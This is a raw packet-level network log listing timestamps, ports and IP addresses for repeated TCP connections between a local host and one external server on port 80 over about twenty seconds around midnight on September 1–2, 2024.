Sep 1, 2024 23:59:46.814506054 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.909717083 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:46.912067890 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.013531923 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.023786068 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.024106979 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.024208069 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.029617071 CEST	80	49933	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.029628038 CEST	80	49935	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.029683113 CEST	49933	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.029755116 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.029858112 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.030036926 CEST	80	49934	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.033773899 CEST	49934	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.035279989 CEST	80	49935	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.388511896 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.393477917 CEST	80	49935	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.608983040 CEST	80	49935	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.700934887 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.737572908 CEST	80	49935	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.810314894 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.856381893 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.861154079 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:47.861216068 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.861314058 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:47.866158009 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.216631889 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.221556902 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.476461887 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.575401068 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.606405973 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.692127943 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.727421999 CEST	49935	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.727453947 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.731534004 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.732561111 CEST	80	49936	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.732692003 CEST	49936	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.736347914 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:48.739666939 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.739666939 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:48.744533062 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.091643095 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.096646070 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.320508003 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.446480036 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.446638107 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.571222067 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.571528912 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.576349974 CEST	80	49937	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.576361895 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.576575041 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.576575041 CEST	49937	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.576661110 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.581456900 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:49.935452938 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:49.940443993 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.153862953 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.232199907 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.277663946 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.333038092 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.403225899 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.403542042 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.408366919 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.408410072 CEST	80	49938	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.408422947 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.408451080 CEST	49938	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.408523083 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.413274050 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.763669968 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:50.768618107 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:50.980074883 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.104705095 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.107192039 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.233635902 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.234078884 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.238814116 CEST	80	49939	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.238888979 CEST	49939	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.238965034 CEST	80	49940	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.239084959 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.239248991 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.243999958 CEST	80	49940	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.591730118 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.596635103 CEST	80	49940	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.821715117 CEST	80	49940	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.826868057 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.826951981 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.832982063 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.833038092 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.833162069 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.833209038 CEST	80	49940	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.833251953 CEST	49940	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.839848042 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.951570034 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.958229065 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:51.958296061 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.958384037 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:51.964930058 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.185379982 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.190273046 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.190311909 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.310389042 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.315280914 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.414036989 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.466546059 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.538660049 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.550527096 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.591583967 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.607188940 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.680289030 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.805588961 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.805653095 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.805653095 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.810648918 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.811343908 CEST	80	49941	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.811419964 CEST	80	49942	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:52.811563969 CEST	49941	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.811563969 CEST	49942	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.811666965 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.811666965 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:52.816428900 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.169739962 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.174664021 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.402770042 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.450933933 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.651073933 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.651281118 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.651382923 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.651537895 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.658493042 CEST	80	49943	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.659595013 CEST	49943	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.778238058 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.783071995 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:53.783199072 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.783278942 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:53.788132906 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.138556957 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.143343925 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.358668089 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.485373020 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.485419035 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.601423979 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.601665974 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.606437922 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.606479883 CEST	80	49944	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.606532097 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.606556892 CEST	49944	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.606648922 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.611391068 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:54.951570988 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:54.956536055 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.182647943 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.233903885 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.309587955 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.357215881 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.494715929 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.495417118 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.500191927 CEST	80	49945	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.500318050 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.500439882 CEST	49945	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.500439882 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.500818014 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.505675077 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:55.860223055 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:55.865055084 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.076033115 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.200932980 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.202986956 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.310296059 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.325318098 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.325707912 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.332231998 CEST	80	49946	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.332277060 CEST	49946	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.332361937 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.332417965 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.332504034 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.339085102 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.685432911 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:56.690274000 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.924616098 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:56.966620922 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.178082943 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.178167105 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.178478956 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.288005114 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.291632891 CEST	49948	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.293356895 CEST	80	49947	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.295646906 CEST	49947	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.296547890 CEST	80	49948	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.296646118 CEST	49948	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.296727896 CEST	49948	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.301836014 CEST	80	49948	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.545094013 CEST	49948	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.547559977 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.572685003 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.575628996 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.575707912 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.582401991 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.614974022 CEST	80	49948	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.664433956 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.670490026 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.671652079 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.671742916 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.679053068 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.729012966 CEST	80	49948	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.729057074 CEST	49948	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.919774055 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:57.924582958 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:57.924768925 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.029153109 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.034060001 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.156512022 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.200963974 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.246378899 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.282377958 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.376779079 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.376832008 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.499840975 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.711395979 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.711628914 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.711746931 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.716495991 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.716515064 CEST	80	49949	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.716948986 CEST	80	49950	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:58.717046976 CEST	49950	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.717046976 CEST	49949	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.717129946 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.717207909 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:58.721956968 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.076093912 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.080919981 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.300832033 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.428936005 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.429024935 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.556715012 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.561579943 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.561686039 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.561830044 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.566600084 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:59.919776917 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:59.928328037 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.134908915 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.200939894 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.264729977 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.310314894 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.383436918 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.383760929 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.388494015 CEST	80	49952	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.388534069 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.388536930 CEST	49952	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.388583899 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.389031887 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.393852949 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.747905970 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:00.752713919 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:00.974149942 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:01.102303028 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:01.103746891 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.347960949 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.349590063 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.353108883 CEST	80	49953	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:01.354371071 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:01.354403019 CEST	49953	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.361582041 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.362567902 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.367449045 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:01.716639996 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:01.721544981 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.003679037 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.070353031 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.070404053 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.201663971 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.201973915 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.207288980 CEST	80	49954	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.207349062 CEST	49954	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.207681894 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.207740068 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.207814932 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.212558985 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.560537100 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:02.565409899 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.790580034 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.922296047 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:02.922471046 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.039410114 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.043569088 CEST	49956	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.044646978 CEST	80	49955	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.045197964 CEST	49955	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.048320055 CEST	80	49956	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.048444033 CEST	49956	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.048538923 CEST	49956	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.053489923 CEST	80	49956	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.311116934 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.311191082 CEST	49956	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.315979958 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.317748070 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.317884922 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.322616100 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.358386993 CEST	80	49956	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.431577921 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.436357975 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.436593056 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.436764956 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.441591978 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.479218960 CEST	80	49956	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.479556084 CEST	49956	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.671566963 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.676429987 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.676521063 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.794807911 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:03.799676895 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:03.909925938 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.013451099 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.017644882 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.036590099 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.113909006 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.146348953 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.146405935 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.306406975 CEST	80	49951	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.306459904 CEST	49951	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.323036909 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.323101044 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.323558092 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.328566074 CEST	80	49959	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.328677893 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.328821898 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.329118967 CEST	80	49957	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.329161882 CEST	49957	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.329514980 CEST	80	49958	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.329560041 CEST	49958	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.333868980 CEST	80	49959	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.685436964 CEST	49959	80	192.168.2.5	94.158.244.70
Sep 2, 2024 00:00:04.690273046 CEST	80	49959	94.158.244.70	192.168.2.5
Sep 2, 2024 00:00:04.909004927 CEST	80	49959	94.158.244.70	192.168.2.5
